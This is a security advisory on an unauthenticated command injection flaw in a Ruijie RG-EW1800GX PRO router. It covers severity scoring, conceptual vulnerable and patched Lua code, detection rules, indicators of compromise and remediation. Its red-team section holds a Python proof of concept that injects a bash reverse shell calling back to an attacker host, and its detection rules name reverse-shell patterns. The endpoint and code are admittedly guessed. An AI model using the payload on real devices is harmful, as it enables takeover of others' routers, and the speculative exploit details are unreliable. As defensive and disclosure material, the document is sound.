CVE-2025-56122

Executive Summary

CVE-2025-56122 is a critical OS Command Injection vulnerability discovered in the Ruijie RG-EW1800GX PRO router, specifically in firmware version B11P226_EW1800GX-PRO_10223117. The flaw resides in the /usr/local/lua/dev_sta/networkConnect.lua file, where the module_get function fails to sanitize user-supplied input from a crafted POST request. This allows an unauthenticated attacker to execute arbitrary operating system commands on the device with root privileges.

The vulnerability is particularly dangerous because it requires no authentication and can be exploited remotely over the network. Given that Ruijie devices are widely deployed in enterprise and SOHO environments, this poses a significant risk for network compromise, data exfiltration, and lateral movement within an organization. As of this report, no official patch has been released, and a proof-of-concept (PoC) exploit is publicly available.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in a hardware appliance.

CVSS Breakdown & Threat Level

While an official CVSS vector is not provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Full device access allows reading all data.
• Integrity (I): High (H) – Full device control allows modifying firmware, config, etc.
• Availability (A): High (H) – Can cause denial of service or brick the device.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, and full system compromise makes this a top-priority vulnerability for any organization using this device.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection flaw in a Lua-based web handler. The file /usr/local/lua/dev_sta/networkConnect.lua contains a function module_get that processes POST requests. This function likely takes a parameter (e.g., module_name or similar) and passes it directly to a shell command without sanitization.

Root Cause: The application uses a function like os.execute() or io.popen() in Lua to run system commands. The user-supplied input is concatenated into the command string without escaping or validation.

Example vulnerable code pattern (conceptual):

function module_get(request)
    local module_name = request.post_params["module"]
    local cmd = "lsmod | grep " .. module_name
    os.execute(cmd)
end

An attacker can inject command separators like ;, |, &&, or backticks to execute arbitrary commands.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (likely /cgi-bin/luci/... or a custom API path).
2. Attacker crafts a POST request with a malicious payload in the vulnerable parameter.
3. The router processes the request and executes the injected command.
4. The attacker gains a reverse shell or executes arbitrary commands.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual):

-- Vulnerable: Direct concatenation of user input into shell command
function module_get(request)
    local module = request.post_params["module"]
    local cmd = "lsmod | grep " .. module
    os.execute(cmd)
end

Patched Code (Expected):

-- Patched: Use parameterized commands or strict input validation
function module_get(request)
    local module = request.post_params["module"]
    -- Validate input: only allow alphanumeric and specific characters
    if not module:match("^[a-zA-Z0-9_]+$") then
        return { error = "Invalid module name" }
    end
    -- Use a safe execution method (e.g., io.popen with escaped args)
    local handle = io.popen("lsmod 2>/dev/null")
    local result = handle:read("*a")
    handle:close()
    -- Filter result based on module name in Lua, not shell
    for line in result:gmatch("[^\r\n]+") do
        if line:find(module) then
            return { result = line }
        end
    end
    return { result = "Module not found" }
end

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Ruijie RG-EW1800GX PRO router (firmware B11P226_EW1800GX-PRO_10223117).
• Network access to the router's management interface (typically port 80/443).
• A listener for reverse shell (e.g., nc -lvnp 4444).

Exploit PoC (Python):

import requests
import sys

target = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]

# Reverse shell payload (Linux)
payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"

# URL-encode the payload
import urllib.parse
encoded_payload = urllib.parse.quote(payload)

# Vulnerable endpoint (example, adjust based on actual path)
url = f"http://{target}/cgi-bin/luci/;stok=/module_get"

data = {
    "module": f";{payload};"
}

try:
    r = requests.post(url, data=data, timeout=5)
    print(f"[+] Exploit sent to {target}")
except Exception as e:
    print(f"[-] Error: {e}")

Usage:

python3 exploit.py <router_ip> <attacker_ip> <attacker_port>

Expected Result: A reverse shell as root on the router.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /cgi-bin/luci/ or similar paths with unusual parameters.
• Look for shell metacharacters (;, |, &, `) in POST data.
• Alert on outbound connections from the router to unusual IPs/ports.

Honeypot:

• Deploy a fake Ruijie router endpoint that logs all POST data for analysis.
• Use a low-interaction honeypot to capture exploit attempts.

Network Segmentation:

• Isolate management interfaces of network devices from the general user network.
• Use VLANs and firewall rules to restrict access to router management ports.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/luci/ or /module_get with shell metacharacters.
• Outbound connections from the router to unusual IP addresses on high ports (e.g., 4444, 1337).
• DNS queries to domains associated with C2 infrastructure.

Host IOCs (on the router):

• Unexpected processes running (e.g., /bin/sh, bash, nc).
• Modified or new files in /tmp/ or /var/run/.
• Unusual entries in /var/log/messages or system logs.
• Presence of reverse shell binaries or scripts.

File IOCs:

• Suspicious files in /usr/local/lua/dev_sta/ (e.g., backup of original networkConnect.lua).
• Modified networkConnect.lua file (check for injected code).

Detection Engineering

YARA Rule

rule CVE_2025_56122_Ruijie_Command_Injection {
    meta:
        description = "Detects exploit attempts for CVE-2025-56122 in HTTP POST data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56122"
    strings:
        $cmd_inject1 = /[;&|`]/
        $cmd_inject2 = /bash -i/
        $cmd_inject3 = /dev\/tcp\//
        $cmd_inject4 = /module_get/
    condition:
        any of ($cmd_inject*) and #cmd_inject1 > 2
}

Sigma Rule

title: CVE-2025-56122 Ruijie Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests containing shell metacharacters targeting Ruijie router endpoints
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - '/cgi-bin/luci/'
            - '/module_get'
        cs-uri-query|re: '.*[;&|`].*'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in query strings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56122 Ruijie Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/luci/";
    http_uri;
    pcre:"/[;&|`]/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-56122;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place the Ruijie RG-EW1800GX PRO routers on a separate VLAN with strict firewall rules.
2. Disable remote management: If not required, disable WAN-side access to the management interface.
3. Monitor logs: Enable detailed logging and monitor for exploitation attempts.

Long-term Fix:

• Vendor Patch: Await an official firmware update from Ruijie. Contact their support for an ETA.
• Workaround: If possible, replace the vulnerable networkConnect.lua file with a patched version (see Vulnerable vs. Patched Code section). This requires physical or SSH access to the device.
• Upgrade: Consider replacing the device with a more secure alternative if a patch is not forthcoming.

Compromise Assessment:

• Check for signs of compromise using the IOCs listed above.
• If compromise is suspected, factory reset the device and update to the latest available firmware.
• Rotate any credentials that may have been exposed (e.g., Wi-Fi passwords, admin credentials).

Valters IT
Securing Digital Frontiers